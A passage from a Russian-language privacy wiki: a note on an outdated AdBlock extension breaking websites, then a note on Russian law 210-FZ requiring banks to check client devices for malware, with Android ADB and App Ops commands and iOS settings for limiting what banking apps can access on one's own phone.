страницы, ChatGPT и VK постоянно падали, а затем поиск Google внезапно заменился на Яндекс. Он был уверен, что поймал рекламный вирус. Проверки антивирусами **ничего не нашли**: Kaspersky Virus Removal Tool (KVRT), AdwCleaner. Следующим подозреваемым стал способ обхода блокировок — типичная ситуация, когда на [[Zapret/about|zapret]] или VPN сваливают чужие проблемы. Развязка: по совету из чата пользователь проверил расширения и **удалил старый AdBlock — все симптомы исчезли сразу**, включая подмену поисковика. ## Почему блокировщик способен на такое Два независимых механизма: 1. **Кривые или устаревшие фильтры.** Блокировщик работает по спискам правил, и правило, написанное под старую версию сайта, на новой версии может зацепить легитимный запрос (API, скрипт плеера, чанк страницы). Сайт при этом ломается непредсказуемо: где-то не грузится видео, где-то падает интерфейс. 2. **Заброшенное расширение — готовый канал для adware.** Популярные, но заброшенные расширения покупают и превращают в рекламное или вредоносное ПО — это документированный паттерн: например, Nano Adblocker/Nano Defender после продажи в октябре 2020 начали красть данные, а The Great Suspender в феврале 2021 был удалён Google из магазина как malware. Антивирус такое обычно не ловит, потому что расширение живёт внутри браузера и формально «легально» установлено самим пользователем. Проще говоря: даже честный блокировщик с плохими фильтрами ломает сайты случайно, а купленный новым владельцем — уже намеренно, и в обоих случаях со стороны это выглядит одинаково — «сайты сломались, вирусов нет». ## Чек-лист диагностики Типичные жалобы, с которых всё начинается: **[[Zapret/faq#Сайт никак не хочет работать|«сайт не работает»]]** и **[[Zapret/zapret_not_working|«запрет не работает»]]**. В чатах поддержки [[Zapret/about|zapret]] заметная часть таких обращений в итоге упирается не в обход DPI, а в расширения браузера — поэтому блокировщик рекламы проверяется первым. Если после удаления блокировщика проблема осталась — дальше по общей диагностике: [[Zapret/zapret_not_working|Что делать, если Zapret не работает]] (шаг 0: проверить сайт вообще без Zapret). Когда «сломался интернет» на одном компьютере, проверяй в этом порядке — от дешёвого к дорогому: - [ ] Открой сайт в **режиме инкогнито** (расширения там по умолчанию выключены). Заработало — виновато расширение. - [ ] **Отключи все расширения**, включи по одному, найди виновника. Первые подозреваемые — блокировщики рекламы и «ускорители». - [ ] Удали устаревшие/неиспользуемые расширения совсем — особенно те, что давно не обновлялись. - [ ] Только после этого — проверка на вирусы (KVRT по **всему** системному разделу, а не только автозапуску; AdwCleaner) и разбор способа обхода блокировок. ## Чем заменить: uBlock Origin **uBlock Origin** — блокировщик с открытым исходным кодом от Raymond Hill, стандартная рекомендация privacy-сообщества (в том числе ресурсов из подборки [[Privacy]]). По наблюдениям пользователей, сайты он ломает заметно реже, а когда ломает — встроенный логгер позволяет найти и отключить конкретное правило. > [!note] Оговорка про Chrome (Manifest V3) > С 2025 года Google Chrome отключает расширения на старом Manifest V2, включая полноценный uBlock Origin. Варианты: облегчённый **uBlock Origin Lite** (работает на Manifest V3, но с урезанными возможностями фильтрации) или браузер [[Mozilla|Firefox]], где полный uBlock Origin продолжает работать. > [!tip] Вердикт > Один блокировщик, и это uBlock Origin (или uBlock Origin Lite в Chrome). Два блокировщика одновременно — гарантированный источник конфликтов; старый AdBlock — кандидат на удаление при первой же странности с сайтами. ## 📚 См. также - [[Privacy]] — обзорная заметка по инструментам приватности - [[Mozilla]] — про Firefox, где полный uBlock Origin продолжает работать - [[Zapret/about|zapret]] — способ обхода DPI, на который часто грешат при поломках сайтов - [[Zapret/faq|FAQ по zapret]] — список расширений, мешающих обходу (SaveFrom, Юбуст, Adblock и другие); там же раздел [[Zapret/faq#Сайт никак не хочет работать|«Сайт никак не хочет работать»]] - [[Zapret/zapret_not_working|Что делать, если Zapret не работает]] — пошаговая диагностика, когда после удаления блокировщика проблема осталась - 🔗 [uBlock Origin на GitHub](https://github.com/gorhill/uBlock) — исходники и вики с разбором отличий от «AdBlock» --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/adblock-breaks-sites.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-08 tags: - banks - antifraud - 210-fz - privacy - android - ios - permissions - malware aliases: - Банки будут сканировать телефон на вирусы - Как запретить банку доступ к файлам на телефоне - 210-ФЗ вредоносное ПО отказ в переводе - Антифрод-2 проверка устройства клиента - Как отказаться от проверки устройства банком - Блокировка перевода из-за VPN на телефоне - Банк просит доступ к файлам Android что будет если отказать - 1 марта 2027 банки блокировка переводов вирус link: https://tass.ru/ekonomika/27994407 --- # 📱 Банки начнут проверять устройство клиента с 1 марта 2027: что попадёт под подозрение и как ограничить доступ к телефону ![[banks-malware-scan-2027-header.webp]] > [!info] О чём заметка > 26 июня 2026 подписан Федеральный закон № 210-ФЗ (в прессе — «антифрод-2»), который с 1 марта 2027 обязывает банк отказать в переводе, если получена информация о воздействии вредоносного программного обеспечения (ВПО) на устройство клиента. Здесь: дословные формулировки закона, что банковские приложения собирают уже сегодня (детект VPN встроен во все 30 проверенных приложений — исследование апреля 2026), почему стоит отнестись к согласию на проверку осторожно и как технически ограничить доступ приложения к файлам, контактам и списку установленных программ — на Android, iOS и в веб-версии банка. Смежная тема — государственные TLS-сертификаты, на которые российские банки перешли 3 августа 2026: [[nuc/banks-nuc-certs-august-2026|разбор события]] и [[nuc/00-overview|обзор раздела НУЦ]]. ## TL;DR - С 1 марта 2027 банк **обязан** отказать в приёме распоряжения или в проведении операции, если получена информация о воздействии ВПО на устройство, с которого делается перевод. Норма охватывает операции по картам, переводы электронных денежных средств и переводы через сервис быстрых платежей (СБП). Банк обязан незамедлительно назвать причину отказа и сообщить о возможности перевести с другого устройства либо при личном присутствии в банке. - Согласие клиента требуется только для **подключения средства защиты на его устройство**. Обязанность банка применять средства защиты к собственному мобильному приложению и сайту согласия не требует, и отказ от согласия из-под нормы об отказе в переводе не выводит. - Определение ВПО в законе есть, но отсылочное — через формулу статьи 273 УК РФ. Конкретный перечень признаков и сигнатур закон не задаёт, поэтому фактические критерии останутся за банком и подзаконными требованиями. - Проверка устройства — не будущее, а настоящее: приказ Банка России от 5 ноября 2025 № ОД-2506 (действует с 1 января 2026) уже включает признак, где рядом стоят сведения о ВПО и «инструменты, обеспечивающие сокрытие сессионных данных». По исследованию RKS Global (апрель 2026), детект VPN нашёлся во всех 30 разобранных российских приложениях. - Ограничить сбор можно: на Android — штатными разрешениями, App Ops, рабочим профилем; в GrapheneOS и через режим `ignore` приложение вообще не узнает, что доступ закрыт, — оно получит пустоту вместо ошибки. На iOS отдавать нечего почти по умолчанию. Веб-версия банка не даёт нативному коду доступа к содержимому устройства, и это самый простой способ сузить сбор. ## Что именно приняли Федеральный закон от 26 июня 2026 № 210-ФЗ «О внесении изменений в Федеральный закон "О связи" и отдельные законодательные акты Российской Федерации» (*антифрод-2, антифрод 2.0, закон о защите от мошенников*) — большой пакет: самозапрет на входящие международные звонки, база идентификаторов пользовательского оборудования, единая система учёта платёжных карт, ограничение в двадцать карт на человека, полномочия Национального удостоверяющего центра (НУЦ). Интересующая нас норма живёт в статье 7 этого закона, которая правит Федеральный закон «О национальной платёжной системе» (161-ФЗ). Обязанность отказать закреплена в новой части 3.4-1 статьи 8 161-ФЗ: > [!quote] 161-ФЗ, часть 3.4-1 статьи 8 (в редакции 210-ФЗ, действует с 1 марта 2027) > Оператор по переводу денежных средств при наличии информации о воздействии вредоносного программного обеспечения **отказывает** в приеме к исполнению распоряжения клиента или в совершении операции с использованием платежных карт, перевода электронных денежных средств или перевода денежных средств с использованием сервиса быстрых платежей платежной системы Банка России с применением пользовательского оборудования (оконечного оборудования), в отношении которого получена информация о воздействии на него вредоносного программного обеспечения. При этом оператор по переводу денежных средств незамедлительно в порядке, установленном договором, заключенным с клиентом, обязан уведомить клиента о причинах отказа <…> и одновременно проинформировать клиента о возможности совершить перевод денежных средств с применением другого пользовательского оборудования (оконечного оборудования) либо при личном присутствии клиента или его представителя у оператора по переводу денежных средств. Откуда берётся сама «информация о воздействии» — описано в новой части 1.2 статьи 27 того же закона: банк обязан применять к своему программному обеспечению, «включая мобильное приложение и официальный сайт», средства защиты информации, «прошедшие в установленном порядке процедуру оценки соответствия», позволяющие выявлять и контролировать случаи воздействия ВПО «до момента списания денежных средств клиента». Формулировка «сертифицированные средства защиты», которая разошлась по новостям, в тексте закона отсутствует: там сказано «прошедшие процедуру оценки соответствия», а сертификация — лишь одна из её форм. Различие не косметическое: по действующей практике Банка России допускается и оценка по ОУД4, а не только сертификат ФСТЭК. ### Три даты, которые важно различать | Дата | Что вступает в силу | | --- | --- | | 1 сентября 2026 | Единая система учёта платёжных карт (новая статья 9.2 161-ФЗ) и связанные поправки о банковской тайне | | 1 марта 2027 | Обязанность применять средства защиты к приложению и сайту, обязанность отказать в операции при информации о ВПО, самозапрет на международные звонки, база идентификаторов оборудования, полномочия НУЦ (поправки в 63-ФЗ «Об электронной подписи») | | 1 сентября 2027 | Крайний срок переоформления договоров с физлицами (право дать согласие либо отказаться) и ограничение в двадцать платёжных карт на человека | Обязанность банка иметь средство защиты наступает 1 марта 2027, а собрать согласия он должен только к 1 сентября 2027 — полгода, в течение которых часть клиентов проверяется, а часть ещё нет. > [!warning] О чём согласие, а о чём — нет > Согласие клиента (части 1.3 и 1.4 статьи 27) касается **подключения средства защиты на устройство клиента**: банк обязан дать такую возможность, а клиент вправе согласиться или отказаться. Обязанность применять средства защиты к собственному приложению и сайту (часть 1.2) безусловна и согласия не требует. При этом часть 3.1 статьи 8 говорит об информации, выявленной средствами защиты, «указанными в частях 1.2 и 1.3 статьи 27», — то есть отказ в переводе может сработать и по данным средств, на которые клиент согласия не давал. Отказ от согласия сужает наблюдаемость, но из-под нормы не выводит. ### Ответственность банка и обратная сторона Если банк получил информацию о заражении, но перевод всё же провёл, а деньги ушли без добровольного согласия клиента, он обязан возместить сумму — не позднее 30 дней со дня получения обращения клиента и при наличии постановления о возбуждении уголовного дела о хищении (части 3.13-2 и 3.13-3 статьи 8). На подачу обращения клиенту даётся 10 рабочих дней, причём отказать в возмещении из-за пропуска этого срока закон запрещает. Асимметрия здесь очевидна: пропущенное срабатывание может стоить банку выплаты, ложное — нет. Какие пороги детекта из этого вырастут, покажет правоприменение. > [!note] Расхождение в трактовках, которое пока не разрешено > «Интерфакс» и ТАСС передают норму буквально: банк **отказывает** в операции. Председатель комитета Госдумы по финансовому рынку Анатолий Аксаков в комментарии «Российской газете» 8 августа 2026 описал механику мягче — оператор должен **приостановить** транзакцию, после чего банк запрашивает у клиента подтверждение операции. Текст части 3.4-1 говорит именно об отказе; как это ляжет во внутренние регламенты банков, станет ясно после подзаконных актов. ## Это уже работает — закон лишь достраивает конструкцию Разговор о том, «начнут ли банки следить за телефоном», опоздал примерно на год. С 1 января 2026 действует приказ Банка России от 5 ноября 2025 № ОД-2506: признаков перевода без добровольного согласия клиента стало двенадцать вместо шести. Среди них есть признак, где в одном ряду перечислены сведения о вредоносном ПО на устройстве абонента и «использование нетипичного провайдера связи, операционной системы, приложения пользователя, использование инструментов, обеспечивающих сокрытие сессионных данных». Последняя формулировка описывает как раз VPN и прокси, и это уже действующая норма, а не прогноз. Что банки собирают технически, показало исследование компании RKS Global (апрель 2026, обновление 16 апреля): разобрано 30 популярных российских Android-приложений методом статического анализа APK (`apktool` и `jadx`) по 68 контрольным точкам, с последующей проверкой на устройстве. Результат: детект VPN обнаружен во всех 30 приложениях, а большинство отправляет статус VPN на сервер. В приложениях Сбербанка, Т-Банка, Альфа-Банка и «МегаМаркета» найден антифрод-модуль `com.group_ib.sdk`, перехватывающий каждое касание экрана через `dispatchTouchEvent` — с координатами, давлением и временем. Ozon и Wildberries получают полный список установленных VPN-клиентов вызовом `queryIntentServices("android.net.VpnService")`. Т-Банк, по подсчёту исследователей, запрашивает 47 разрешений, из которых 24 выдаются автоматически. > [!warning] Статус этих данных > Исследование RKS Global — работа одной компании методом декомпиляции; банки его публично не подтверждали и не опровергали. Наличие вызова в коде говорит о возможности, но не доказывает, что данные уходят на сервер в каждом сценарии. Пересказ исследования выходил в «Хакере» 10 апреля 2026; первоисточник — [rks.global/ru/research/vpn-detection](https://rks.global/ru/research/vpn-detection/). Проще говоря: инфраструктура наблюдения за устройством уже стоит в приложениях, а 210-ФЗ превращает возможность приостановить операцию в обязанность отказать и добавляет банку финансовую ответственность за пропуск. Именно поэтому вопрос «давать ли согласие» практически смещается к другому: **сколько данных твоё устройство отдаёт приложению банка** — и на это влияние есть. ## Как устроено «средство защиты» и что оно видит Юридически часть 1.3 статьи 27 описывает отдельное средство защиты, которое клиент **сам подключает** на своё устройство, — конструкция ближе к «антивирусу от банка», чем к невидимому модулю. Технически же индустрия давно решает эту задачу иначе: в приложение встраивается SDK стороннего вендора, который во время работы изучает окружение. Класс решений называют мобильным антифродом (online fraud detection); внутри того же SDK обычно живёт RASP-подсистема (Runtime Application Self-Protection) — проверка целостности сборки, антиотладка, детект root и эмулятора. Зонтичный термин индустрии для обоих слоёв — in-app protection. Какая из двух конструкций победит в подзаконных требованиях, на август 2026 неизвестно. Что заявляют вендоры, видно по описанию продукта F6 Fraud Protection (до 2023 года — Group-IB Fraud Hunting Platform, затем F.A.C.C.T.; смена бренда на F6 объявлена 17 февраля 2025). По документации вендора, Mobile SDK с момента запуска приложения передаёт на серверную часть индикаторы компрометации, поведенческие характеристики пользователя и параметры среды; строит уникальный цифровой отпечаток устройства; ловит банковские трояны, несанкционированный удалённый доступ, веб-инжекты и кросс-канальные атаки. Поведенческий профиль строится по динамике касаний и свайпов. Вендор отдельно оговаривает: модуль «не передает конфиденциальные данные банковских операций, идентифицирующую личную информацию и любые другие данные с ограниченным доступом», а «содержание и тип передаваемых данных могут устанавливаться клиентом самостоятельно при интеграции». Последняя оговорка важнее остальных: состав передаваемого задаёт банк-заказчик. Значит, ответ на вопрос «что именно уедет с моего телефона» лежит во внутреннем регламенте конкретного банка, которого клиент не видит. > [!note] Что модуль узнаёт без единого разрешения > Код внутри процесса приложения и так видит: модель и производителя устройства, версию системы, подключённый отладчик, признаки эмулятора, следы root, состояние загрузчика (через аттестацию ключей Keystore). Отдельно стоит `AccessibilityManager.getEnabledAccessibilityServiceList()` — список **включённых** служб специальных возможностей отдаётся вообще без разрешений и не фильтруется правилами видимости пакетов. Активный VPN виден по сетевым интерфейсам (`tun0`, `ppp`, `tap`) без всяких разрешений — и на Android, и на iOS. А вот «увидеть чужие оверлеи» приложение может лишь косвенно: по флагам `FLAG_WINDOW_IS_OBSCURED` в момент касания либо запретив чужие окна поверх себя. > > Отзыв разрешений закрывает другой пласт — **содержимое** устройства: файлы, фото, контакты, местоположение, список установленных программ, статистику использования. Именно он и обсуждается, когда речь заходит про «доступ к файлам». ## Почему к согласию стоит отнестись осторожно ### Перечень признаков остаётся за банком Отсылочное определение ВПО через формулу статьи 273 УК РФ («программы, предназначенные для несанкционированного уничтожения, блокирования, модификации, копирования компьютерной информации или нейтрализации средств защиты») задаёт рамку, но не список. Какие сигнатуры и эвристики попадут в конкретное средство защиты, закон не описывает. Это признают и внутри отрасли. Первый заместитель председателя правления Национального Банка Сбережений Мария Бродовская в комментарии «Фонтанке» (1 августа 2026) говорит, что перечень признаков каждый банк будет формировать самостоятельно, единых критериев нет, а потому полностью исключить ложные срабатывания невозможно: подозрение могут вызвать приложения, которые вредоносными не являются, но имеют расширенный доступ к устройству. ### VPN и обход блокировок — в зоне риска по факту, а не по прогнозу Специалист по информационной и сетевой безопасности Сергей Вакулин в комментарии НСН (28 июля 2026) сказал о сигнатурах прямо: «Сигнатура обновляется, туда могут попасть и VPN, и те же самые прокси, абсолютно все, что считает сигнатура, основываясь на тех же самых антивирусах». При этом он не отрицает пользы меры: по его словам, она «снижает число мошенничеств, но абсолютно не помогает бороться с мошенниками, потому что мошенники всегда придумывают новые обходные пути». Экономист и политолог Василий Колташов в комментарии «Вечерней Москве» (8 августа 2026) допускает блокировки при обнаружении VPN и прокси, оговариваясь, что «информация об установленном VPN будет не всегда банкам доступна» и что тотальной блокировки переводов только из-за прокси он не ждёт. Прогнозы прогнозами, но исследование RKS Global показывает, что статус VPN уже собирается и отправляется на сервер. Отдельная деталь: программы, которые ловятся теми же эвристиками, у обычного пользователя вполне легальны — удалённый доступ (RustDesk, AnyDesk), службы специальных возможностей (без них не работают экранные читалки для незрячих), root-решения [[root/Magisk|Magisk]] и [[root/ReSukiSU|KernelSU/ReSukiSU]], корпоративные MDM-агенты (Mobile Device Management — системы управления устройствами), инструменты обхода блокировок вроде [[Zapret/about|Zapret]] и клиентов [[VLESS/dpi-tls-june-2026|VLESS]]. ### Ложные срабатывания в этой системе уже дорого стоят клиентам После расширения перечня признаков ЦБ пресса зафиксировала всплеск блокировок. «Коммерсантъ» 8 августа 2026 приводит два числа: 2–3 млн временных блокировок карт и счетов физлиц за первые недели 2026 года против примерно 330 тыс. заблокированных переводов в месяц ранее. Числа стоит читать аккуратно: первое — оценка компании «Информзащита» о количестве людей, которые **могли попасть** под блокировки за две недели января, второе — данные департамента информационной безопасности ЦБ по охлаждённым переводам за месяц. Единицы разные, периоды разные, прямо сопоставлять их нельзя — но даже с этой оговоркой масштаб недовольства рынка виден. Новая норма добавляет к двенадцати признакам ещё один — состояние устройства, — не создавая ускоренной процедуры обжалования. Ошибочный отказ мгновенно не отменят: останется отделение или письменная претензия. ### Согласие даётся один раз, а работает постоянно Отдельного согласия на каждую проверку норма не предполагает: пункт появляется в договоре, дальше средство защиты работает при каждом запуске приложения. Состав собираемого банк меняет на своей стороне — границу задают выданные разрешения, а не редакция договора, которую ты читал при подписании. ### Агент безопасности сам по себе — цель для атаки Модуль с широким доступом к телефону и постоянным каналом на сервер интересен злоумышленникам: компрометация вендора такого SDK бьёт по всем банкам-клиентам сразу. Чем больше данных агрегируется в одной точке, тем дороже её взлом для пользователей. ### Мошенничество по телефону такая проверка не останавливает Значительная доля хищений устроена так, что человек переводит деньги сам, под диктовку, а устройство при этом чистое. ИТ-предприниматель Михаил Марцинюк в комментарии «Вечерней Москве» напоминает механику заражения: «Обычный перевод в банковском приложении не станет источником вируса, а скорее станет финальным результатом уже зараженной системы смартфона». Против удалённого управления телефоном (RAT-схемы — Remote Access Trojan, троян удалённого доступа; поддельные «приложения банка»; [[virus/flowseal-fake-youtube-salatstealer-july-2026|стилеры под видом полезных программ]]) детект действительно работает, и это честный плюс нормы. От разговора с «сотрудником службы безопасности» она не спасает. > [!tip] Вердикт > Постоянная проверка устройства имеет смысл прежде всего для тех, кто ставит приложения из случайных источников и не хочет разбираться в настройках телефона. Если ты контролируешь, что установлено, согласие даёт банку широкий и плохо очерченный доступ в обмен на защиту от угроз, которые у тебя и так маловероятны. Отказ прямо предусмотрен законом, но он не отменяет проверок со стороны самого приложения — поэтому основную работу делают настройки устройства, описанные ниже. ## Что даёт и чего не даёт отказ Право отказаться должно быть прописано в договоре — это прямая норма. Сергей Вакулин в том же комментарии НСН описывает последствия отказа сдержанно: «В случае отказа у вас не заблокируют счета, не украдут деньги — просто банк не сможет проанализировать все файлы, которые у вас хранятся на телефоне». Более осторожную картину даёт доцент кафедры банковского дела и монетарного регулирования Финансового университета при Правительстве РФ Светлана Зубкова в комментарии «Фонтанке» (1 августа 2026): банк вправе анализировать устройство только с согласия клиента, а при отказе — «вправе отказать в дистанционном переводе, руководствуясь внутренними процедурами безопасности». Прямой отсылки к статье закона в этом комментарии нет, это трактовка; редакция отдельно подчёркивает, что о запрете распоряжаться деньгами речи не идёт — остаются отделение и терминал. Ключевое, что не следует упускать: отказ касается подключения средства защиты **на устройство**, а средства защиты, встроенные в само приложение банка, продолжают работать. Юридически отказ сужает круг источников информации о ВПО, но не выводит операции из-под нормы части 3.4-1. Разумная тактика до 1 марта 2027: держать счета минимум в двух банках, чтобы риск-политика одного не отрезала от денег целиком, и заранее привести устройство в порядок. ## Android: сузить то, что приложение получает Настройки ниже полезны независимо от закона — они уменьшают аппетиты любого приложения, а не только банковского. С тем, как программы обходят разрешения окольными путями, стоит ознакомиться отдельно: [[Localhost-tracking-Meta-Yandex-SOCKS5|история с localhost-мостом Meta и Яндекса]] хорошо показывает, что явные тумблеры покрывают не всё. > [!warning] Границы этих мер > Отзыв разрешений закрывает доступ к содержимому телефона, но не отменяет проверок внутри процесса приложения (root, отладка, эмулятор, включённые службы специальных возможностей, активный VPN по сетевым интерфейсам). Приложение вправе отказаться работать без нужного ему разрешения. И наоборот: слишком «стерильное» устройство банк может счесть подозрительным само по себе — как это будет трактоваться после 1 марта 2027, на август 2026 неизвестно. ### Разрешения, о которых идёт речь | Разрешение | Как называется в настройках | Что реально даёт | Отзывается? | | --- | --- | --- | --- | | `READ_MEDIA_IMAGES` / `READ_MEDIA_VIDEO` | «Фото и видео» (Android 13+) | Чтение всей галереи; точные геотеги снимков — только при дополнительном `ACCESS_MEDIA_LOCATION` | Да, штатно; с Android 14 есть режим ограниченного доступа | | `MANAGE_EXTERNAL_STORAGE` | «Доступ ко всем файлам» (Android 11+) | Чтение и запись почти всего общего хранилища: документы, загрузки, скачанные архивы. Каталоги `Android/data` и `Android/obb` недоступны и с ним | Да, экран «Специальный доступ» | | `READ_CONTACTS` | «Контакты» | Вся адресная книга целиком; обосновывается переводами по номеру телефона, хотя номер можно вводить вручную | Да, штатно | | `QUERY_ALL_PACKAGES` | Переключателя в чистом Android нет | Список установленных приложений — вместе с `queryIntentServices` даёт перечень VPN-клиентов | Штатно нет; см. рабочий профиль ниже | | `PACKAGE_USAGE_STATS` | «Доступ к данным об использовании» | Что и когда запускалось, как долго | Да, экран «Специальный доступ» (в App Ops операция называется `GET_USAGE_STATS`) | | `SYSTEM_ALERT_WINDOW` | «Поверх других приложений» | Рисование поверх чужих окон | Да, экран «Специальный доступ» | | `ACCESS_FINE_LOCATION` | «Местоположение» | Точные координаты; используется как признак риска | Да, штатно; разумный минимум — «только во время использования» | Строка про `QUERY_ALL_PACKAGES` требует пояснения. Это разрешение уровня `normal`: оно выдаётся при установке, переключателя в интерфейсе нет, и `pm revoke` его не снимает — система ответит, что тип разрешения неизменяем. В AOSP существует операция App Ops с таким именем, но фильтрация видимости пакетов смотрит только на манифест приложения, поэтому `appops set … QUERY_ALL_PACKAGES ignore` список программ не скрывает. Политика Google Play выдачу этого разрешения ограничивает, но прямо разрешает исключение для банковских приложений «в целях безопасности», так что даже присутствие в магазине ситуацию не изменило бы; российские банковские приложения к тому же распространяются вне Play — через RuStore и сайты банков (Сбербанк, ВТБ и Альфа-Банк удалены из Google Play весной 2022 года, Т-Банк — в 2023-м). В прошивках, следующих китайскому отраслевому стандарту T/TAF 108-2022 (Xiaomi начиная с MIUI 13, Honor, а также собственный вариант Samsung), список приложений вынесен в отдельное runtime-разрешение — там тумблер есть. В чистом Android его нет. ### Шаг 1: штатные настройки Открой «Настройки» → «Приложения» → приложение банка → «Разрешения» и отклони всё, чем реально не пользуешься. Для галереи на Android 14 и новее в диалоге запроса выбирай «Выбрать фотографии и видео», а на экране разрешения — «Разрешить ограниченный доступ»: приложение увидит только те снимки, которые ты отметил руками. Отдельно пройди «Настройки» → «Приложения» → «Специальный доступ» (в сторонних прошивках раздел называют «Особые права доступа» или прячут в «Расширенные настройки») и проверь три экрана: «Доступ ко всем файлам», «Доступ к данным об использовании», «Поверх других приложений». Эти права не входят в обычный список разрешений, и про них забывают чаще всего. Заодно убедись, что банковское приложение не значится в «Специальных возможностях». Легитимному банковскому клиенту эта служба не нужна, а трояны работают как раз через неё. ### Шаг 2: ADB и App Ops, когда штатного переключателя мало Часть прав удобнее снимать через ADB (Android Debug Bridge) — с компьютера, включив «Отладку по USB» в настройках для разработчиков. Сначала узнай имя пакета: ```bash adb shell "pm list packages | grep -i sber" ``` Обычные разрешения снимаются через `pm revoke` (подставь своё имя пакета вместо `ru.sberbankmobile`): ```bash adb shell pm revoke ru.sberbankmobile android.permission.READ_MEDIA_IMAGES adb shell pm revoke ru.sberbankmobile android.permission.READ_CONTACTS adb shell pm revoke ru.sberbankmobile android.permission.ACCESS_FINE_LOCATION ``` Специальные доступы живут в подсистеме App Ops. Для «Доступа ко всем файлам» режим хранится на уровне UID и перекрывает пакетный, поэтому флаг `--uid` здесь обязателен, иначе команда выполнится без ошибки и без эффекта: ```bash adb shell appops set --uid ru.sberbankmobile MANAGE_EXTERNAL_STORAGE ignore adb shell appops set ru.sberbankmobile GET_USAGE_STATS ignore adb shell appops set ru.sberbankmobile SYSTEM_ALERT_WINDOW ignore ``` Проверить результат: `adb shell appops get ru.sberbankmobile` — команда покажет и uid-режимы, и пакетные. То же самое без компьютера делает [Shizuku](https://github.com/RikkaApps/Shizuku): он один раз запускается через беспроводную отладку (на Android 11+ компьютер не нужен вовсе) или через root и дальше отдаёт системные API обычным приложениям — например графической оболочке App Ops. Запуск придётся повторять после каждой перезагрузки, если только Shizuku не работает в root-режиме. ### Шаг 3: как сделать так, чтобы приложение не поняло, что доступ закрыт Отдельного упоминания заслуживает разница между двумя способами отказать приложению. Жёсткий запрет (`deny`, режим `MODE_ERRORED`) отдаёт приложению ошибку доступа — оно понимает, что разрешения нет, и может показать экран «предоставьте доступ, иначе работа невозможна». Режим `ignore` (`MODE_IGNORED`) в документации Android описан как «silently fail»: вызов формально проходит, но возвращает пустоту. Для статистики использования это пустой список, для «Доступа ко всем файлам» — `isExternalStorageManager() == false` и ошибки при обращении к файлам, для оверлеев — `canDrawOverlays() == false` и просто не появившееся окно. Именно поэтому команды выше используют `ignore`, а не `deny`: такой отказ приложения переносят мягче. Дальше этой логики идёт [GrapheneOS](https://grapheneos.org/features) — защищённая сборка Android для Pixel. Storage Scopes «make the app assume that it has all storage permissions that it asked for»: приложение считает, что разрешение выдано, а реально видит только созданные им самим файлы и явно выбранные каталоги. Contact Scopes работает так же с адресной книгой — по умолчанию «acts as if the contacts list is empty», а видимость выдаётся точечно. Есть и отдельные переключатели, которых в обычном Android нет: датчики (приложение получает нули вместо событий) и сеть (система «делает вид», что сети нет). Совместимость — обязательная оговорка. Российские банковские приложения на кастомных прошивках работают нестабильно: многие используют аттестацию устройства (Play Integrity), и на разблокированном или пересобранном Android запускаться отказываются. Актуальные отчёты пользователей по конкретным банкам собираются в открытом трекере [banking-apps-compat-report](https://github.com/PrivSec-dev/banking-apps-compat-report), а способы скрыть root от банковских приложений описаны в заметках про [[root/Magisk|Magisk]] (DenyList) и [[root/ReSukiSU|ReSukiSU/KernelSU]] (SUSFS). > [!danger] Где проходит граница > Скрывать root, подсовывать приложению пустой список контактов и маскировать окружение — законные действия на собственном устройстве, но у них есть цена. Во-первых, средства аттестации могут распознать подмену, и приложение просто перестанет работать. Во-вторых, после 1 марта 2027 сама «непрозрачность» устройства теоретически может стать поводом для отказа в переводе — норма говорит об информации о воздействии ВПО, а как банки будут трактовать невозможность собрать данные, пока не определено. И главное: маскировка не заменяет гигиену. Если на устройстве реально сидит троян, то спрятанный от банка он никуда не денется. ### Шаг 4: рабочий профиль — штатный способ спрятать список приложений Android изолирует профили друг от друга: приложение в рабочем профиле не видит программы личного профиля даже с `QUERY_ALL_PACKAGES` (для чтения через границу нужны привилегированные разрешения `INTERACT_ACROSS_USERS` или выданное администратором `INTERACT_ACROSS_PROFILES`), и хранилища у профилей раздельные. Это и есть штатный ответ на вопрос «как сделать, чтобы банк не видел мой VPN-клиент». Создать рабочий профиль на обычном телефоне позволяют [Shelter](https://github.com/PeterCxy/Shelter) и Island: они запускают штатный механизм provisioning (`ACTION_PROVISION_MANAGED_PROFILE`), после чего система сама назначает приложение владельцем профиля — ни компьютер, ни root для этого не нужны. Банковский клиент ставится внутрь профиля и видит там только себя и системные компоненты. У способа два ограничения. Наличие рабочего профиля само по себе детектируется — изнутри через `DevicePolicyManager`, снаружи по кросс-профильным intent'ам, и Google даже документирует такую проверку. И часть банковских приложений отказывается работать в профиле со сторонним владельцем из-за проверок целостности среды. Более простой вариант той же идеи — второй пользователь устройства («Настройки» → «Система» → «Несколько пользователей»). У каждого пользователя своё хранилище и свой набор приложений, доступа к данным другого нет. Неудобство в переключении и в том, что уведомления неактивного пользователя не приходят, пока ты в него не войдёшь. ### Шаг 5: отдельное устройство Дешёвый телефон только под банки, без VPN, без сторонних APK (Android Package — файл установки приложения), без рабочих чатов. Модуль защиты увидит устройство без сторонних установок, VPN-клиентов и программ удалённого доступа. Заодно это лучшая защита от настоящих троянов: на телефоне, куда ничего не ставят, им неоткуда взяться. ## iOS: отдавать почти нечего по умолчанию Модель безопасности iOS закрывает многое из перечисленного на уровне системы. Приложение живёт в песочнице и не может читать данные других приложений; аналога «доступа ко всем файлам» для программ из App Store не существует, а выйти за песочницу можно только тем каталогом, который пользователь сам выбрал в системном пикере документов. Перечислить установленные программы штатно нельзя: проверка через `canOpenURL` работает только по схемам, заранее объявленным в `Info.plist` приложения, и с iOS 15 их не больше пятидесяти. Точечные обходы существуют — разбор реальных банковских приложений показывает вызовы приватных API для проверки конкретных идентификаторов (магазины твиков, файловые менеджеры), — но они проверяют заданный список, а не выдают перечень установленного. Доступ к фото выдаётся выборочно («Выбранные фото», с iOS 14), и с iOS 18 выборочным стал доступ к контактам: приложению можно отдать только отмеченные карточки, но новые контакты в этот список автоматически не попадают. Обе настройки лежат в «Настройки» → «Конфиденциальность и безопасность». Что модулю на iOS всё же доступно: цифровой отпечаток устройства, поведенческая биометрия (тайминги ввода в собственных полях, данные CoreMotion), детект джейлбрейка и отладки, проверка целостности сборки через App Attest — с оговоркой, что App Attest подтверждает подлинность **приложения**, а не чистоту устройства. Активный VPN виден через сетевые интерфейсы и системные настройки прокси. Запись и трансляция экрана определяются штатно (`UIScreen.isCaptured`) — это iOS-аналог поиска удалённого доступа. Отдельная сложность у российских пользователей: приложений 